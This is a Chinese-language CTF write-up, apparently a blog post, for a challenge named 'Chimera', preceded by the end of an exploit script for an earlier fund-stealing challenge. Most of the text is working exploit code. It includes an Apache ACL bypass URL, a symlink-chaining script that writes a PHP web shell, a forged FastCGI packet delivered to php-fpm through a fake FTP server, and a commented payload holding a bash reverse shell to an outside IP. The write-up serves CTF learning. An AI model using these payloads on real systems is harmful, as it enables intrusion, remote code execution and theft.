        transfer(key1, account1, account3, nonce, s1, 1 * 2**k)
        
        r = s2.get(f'{HOST}/api/me')
        nonce = r.json().get('transaction_nonce')
        transfer(key2, account2, account1, nonce, s2, 1 * 2**k)


def main():
    admin_transaction_nonce = leak_admin_transaction_nonce()
    print(f'Admin transaction nonce leaked: {admin_transaction_nonce}.')

    key = os.urandom(32)
    address = get_address(key)
    account = address

    steal_admin_funds(admin_transaction_nonce, key)
    print('Stole 1 ETH from admin.')

    prepare_enough_funds(key)
    print('Generated 10 ETH')

    s, r = login(key, account)
    r = s.get(f'{HOST}/api/me')
    assert r.json().get('balance') >= 10 * 10**18
    nonce = r.json().get('transaction_nonce')

    message = f'I am {account} and I am withdrawing 10 ETH (nonce: {nonce})'
    signature = sign(message, key)
    r = s.post(f'{HOST}/api/withdraw', json={
        'amount': '10',
        'signature': signature
    })
    
    final_message = r.json().get('message')
    print(f'Done. Message returned by the API: "{final_message}"')


if __name__ == '__main__':
    main()

奇美拉 / Chimera

(这题当时没做出来是我最大的遗憾😔)

先看目录结构

image-20250605083626153

在Dockerfile里发现使用了apache2的proxy模块,并启用一个配置文件

image-20250605084019446

最后的目的应该是去执行这个/proof....

image-20250605083705154

看一下这个配置文件,就是对两个php文件做访问ip限制

image-20250605084110775

接着从入口index.html开始看

image-20250605083738356

观察前端代码后会发现只有一个重定向的交互

image-20250605083850975

不过点进来后发现是403,应该是刚才的apache配置文件生效了,所以要想办法绕过。这里要用到一种apache配置语义模糊漏洞的绕过——ACL Bypass(https://rivers.chaitin.cn/blog/cqr0pg10lne22g7e74ig)

payload如下

http://127.0.0.1:8000/citrus.php%3Fooo.php

就能进入界面

image-20250605084430143

猜测功能应该是新建文件,并通过勾选这个复选框决定要不要创建符号连接,接着就来分析代码

前面没什么好说的,主要看这部分

image-20250606104105304

这里的四种函数来自CitrusWorkspace类,我们来挨个看看

image-20250606104323258

create负责创建文件,创建方式是判断有没有勾选,如果勾选了就创建软连接而不是创建文件。也就是说勾选后并不是创建一个文件,而是一个软连接,没勾选才是真的创建文件

image-20250606104751114

另外三个函数没什么特别的,主要是有个validate_filename函数

image-20250606104851004

这个函数用来判断文件名是否存在除a-z和0-9外的符号,且大小写敏感。所以filename不能存在符号

我们的思路很明确,执行那个读flag的程序。要做到RCE,目前看来只能通过上马

但上传路径被写死了

image-20250606105835438

image-20250606105903909

并且没法穿越,因为文件名不许存在符号。不过路径我们知道,所以我们当务之急还是先创建一个pwn.php进去

肯定是用create或write创建,先来看write,因为可以的话就能顺便把内容也给写了。不过在第一关validate_filename这里就注定了filename没法带点,所以不行。

接着来create,filename肯定还是不能带点,但这个函数有个target参数,这个参数不会被过滤,可以写任意东西。所以我们就能想象一下,假设我们先用create创建一个软连接指向这个不存在的pwn.php,再用write的file_put_contents创建并写入内容就可以了。

所以我们先假设target的值为/tmp/***/pwn.php,因为后面要过readlink,所以我们不能直接让filename只是一个软链接,而是要至少2个。也就是这样

image-20250606112921007

假设我们的filename是a,此时readlink只能读到b,没法读到完整内容

image-20250606113123271

那要怎么创建呢?首先起一个能过验证的文件名,比如111,这个文件可以不存在(linux的ln -s也一样,允许目标文件不存在)

image-20250606143226162

接着我们再将要用来过readlink的a创建起来

image-20250606145353243

接着把b删掉(delete函数可以做到),此时我们会得到一个指向一个空文件b的a,如果此时我们再用symlink去创建pwn.php(如果不删掉有概率无法覆盖,因为两种结果我都试出来过= =)

image-20250606145728787

成功将b指向pwn.php,但pwn.php依旧不存在,如果我们此时再用write函数的file_put_contents对a写入内容

image-20250606150002216

会发现不仅成功创建文件并写入内容。所以目前为止写马基本思路就是

创建b连接到任意文件名->创建a连接到b->删掉b->创建a指向../../var/www/html/pwn.php->往a里写东西马

这样理论上就能成功上马然后访问了。但当我尝试访问后发现pwn.php并没有被创建,进容器后才发现html不允许写入

image-20250606171545912

所以马创建失败,路径穿越这个方法也就不行了。

但至少我们目前能写任意文件,所以其实照这个方法也可以利用read函数读任意文件,但flag必须要执行,没法靠读来获取

所以接下来就是要想办法触发在/tmp/***/pwn.php

这里就要使用ftp导致的ssrf打php-fpm(https://cloud.tencent.com/developer/article/1838766)

原理就是,php-fpm默认监听了9000端口以用来和中间件交互,只要我们朝这个端口发送特定格式的内容,就能控制fpm运行php文件。而这个端口没有向外暴露,所以需要依靠file_get_contents和file_put_contents这两个函数与ftp的交互来传递payload。

具体原理就不多解释了,上面的文章解释得很清楚,下面是修改过的假ftp和完整exp

import requests
import hashlib
import struct
import time

TARGET = "http://127.0.0.1:8000"

s = requests.Session()
s.cookies.set("PHPSESSID", "akared")
folder = hashlib.md5("akared".encode()).hexdigest()

def create(s, filename, symlink=None):
    while True:
        data = {"filename": filename, "mode": "create"}
        if symlink:
            data["symlink"] = "1"
            data["target"] = symlink
        r = s.post(f"{TARGET}/citrus.php%3Flime.php", data=data)
        #time.sleep(0.25)
        r = s.get(f"{TARGET}/citrus.php%3Flime.php")
        if symlink and f"Symlink to {symlink}" not in r.text:
            continue
        if f'name="filename" value="{filename}"' not in r.text:
            continue
        break

    if symlink:
        print(f"created {filename} -> {symlink}")
    else:
        print(f"created {filename}")

def delete(s, filename):
    while True:
        r = s.post(f"{TARGET}/citrus.php%3Flime.php", data={
            "filename": filename,
            "mode": "delete"
        })
        time.sleep(0.25)
        r = s.get(f"{TARGET}/citrus.php%3Flime.php")
        if f'name="filename" value="{filename}"' in r.text:
            continue
        break

    print(f"deleted {filename}")

def write(s, filename, data):
    while True:
        r = s.post(f"{TARGET}/citrus.php%3Flime.php", data={
            "filename": filename,
            "mode": "write",
            "data": data
        })
        time.sleep(0.25)
        r = s.get(f"{TARGET}/citrus.php%3Flime.php")
        if f'name="filename" value="{filename}"' not in r.text:
            continue
        break

    print(f"wrote {filename}")

def read(s, filename):
    r = s.post(f"{TARGET}/citrus.php%3Flime.php", data={
        "filename": filename,
        "mode": "read"
    })
    print(r.text)

create(s, "c", symlink=".")
create(s, "b", symlink="c")
create(s, "a", symlink="b")
delete(s, "b")
create(s, "a", symlink=f"/tmp/{folder}/pwn.php")
write(s, "a", f"<?php system('/proo* > /tmp/{folder}/flag'); ?>")

s2 = requests.Session()
s2.cookies.set("PHPSESSID", "akared2")
create(s2, "c", symlink=".")
create(s2, "b", symlink="c")
create(s2, "a", symlink="b")
delete(s2, "c")
create(s2, "a", symlink=f"ftp://aaa@11.45.1.4:23/123")

FCGI_BEGIN_REQUEST = 1
FCGI_PARAMS = 4
FCGI_STDIN = 5
FCGI_RESPONDER = 1

def create_packet(packet_type, content):
    version, request_id, padding_length, reserved = 1, 1, 0, 0
    header = struct.pack('>BBHHBB', version, packet_type, request_id, len(content), padding_length, reserved)
    return header + content

def pack_params(params):
    result = b''
    for k, v in params.items():
        assert len(k) <= 127 and len(v) <= 127
        result += struct.pack('>BB', len(k), len(v)) + k.encode() + v.encode()
    return result

params = {
    'SCRIPT_FILENAME': f'/tmp/{folder}/pwn.php',
    'QUERY_STRING': '',
    'SCRIPT_NAME': f'/tmp/{folder}/pwn.php',
    'REQUEST_METHOD': 'GET',
}

evil_fcgi_packet = b''.join([
    create_packet(FCGI_BEGIN_REQUEST, struct.pack('>H', FCGI_RESPONDER) + b'\x00' * 6),
    create_packet(FCGI_PARAMS, pack_params(params)),
    create_packet(FCGI_PARAMS, pack_params({})),
    create_packet(FCGI_STDIN, b''),
])

write(s2, "c", evil_fcgi_packet)

time.sleep(3)
read(s, "flag")

假ftp(根据原作者修改,只使用第二次客户端访问)

# -*- coding: utf-8 -*-
# @Time    : 2021/1/13 6:56 下午
# @Author  : tntaxin
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
# payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%15%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%27SCRIPT_FILENAME/www/wwwroot/127.0.0.1/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.3.86/1998%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
# payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    # if count == 1:
    #     conn.send(b"220 ready\n")
    # else:
    conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
    # if count == 1:
    #     conn.send(b"215 \n")
    # else:
    conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    # if count == 1:
    #     conn.send(b"213 3 \n")  
    # else:
    conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    # if count == 1:
    #     conn.send(b"227 127,0,0,1,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    # else:
    conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则:35*256+40=9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    # if count == 1:
    #     conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
    #     # 新建一个socket给服务端返回我们的payload
    #     print("建立连接!")
    #     conn2, address2 = sk2.accept()
    #     conn2.send(payload)
    #     conn2.close()
    #     print("断开连接!")
    # else:
    conn.send(b"150 \n")
    print(conn.recv(20))
    exit()

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    # if count == 1:
    #     conn.send(b"226 \n")
    # conn.close()
    # count += 1

image-20250606215823925

建议把sessionid值换成随机数,不然容易因为write函数无法覆盖旧值导致exp长时间停留在write步骤,或者尝试每试完一遍重启容器